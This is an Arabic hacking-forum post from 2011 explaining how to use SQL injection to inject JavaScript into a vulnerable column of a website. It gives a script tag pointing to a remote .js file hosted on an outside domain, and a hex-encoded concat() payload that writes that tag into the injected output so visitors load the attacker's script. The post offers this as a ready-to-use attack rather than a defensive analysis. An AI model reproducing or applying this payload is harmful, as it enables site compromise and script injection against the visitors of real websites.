Priv8 ~ SQL injection with javascript

KaLa$nikoV · 05-28-2011, 12:06 AM

Priv8 ~ SQL injection with JaVaScript

بسم الله الرحمن الرحيم

راح نستفيد بهاد الدرس من مبدا تشغيل ال جافا سكربت بثغرات sql
بنضع بالعمود المصاب كود جافا سكربت لو اشتغل ببقى شغال عنا الجافا بالعمود هاد
وغالبا يكون شغال الا اذا الحقن من نوع txt

(الي ناسي هاد الكلام يراجع للدوره)

الان عنا سكربت من الاخر اشي فاخر (بالمرفقات للاصدار الاول والاخير )

بلزم ترفعه ع موقع عشان تلعب لعبتك انا بالشرح رفعته هنا

اقتباس


	http://www.emmanuelbiblechapel.org/sql.js

اقتباس


	<script src="link"></script>

وبعد شفرته من هذا الموقع

كود PHP:

  http://www.string-functions.com/string-hex.aspx

وثم تم التشفير وهذا هو .......

كود PHP:

  concat((0x3c736372697074207372633d27687474703a2f2f7777772e656d6d616e75656c6269626c6563686170656c2e6f72672f73716c2e6a73273e3c2f7363726970743e))volcano

والان رابط الشرح

طبعا الشرح والتولز برايفت ياريت الي بنقلها يذكر الحقوق (اول مره تشرح للعرب )
وهي مصدر الي لطشناه منها من الاجانب عشان ما حد يقول بخلنا عليكم بشيء
http://ponymagic.diosdelared.com/

وشكرا

موفقين

VIURIS.SA معجب بهذا

المصدر: :: vBspiders Professional Network ::

Priv8 Z SQL injection with javascript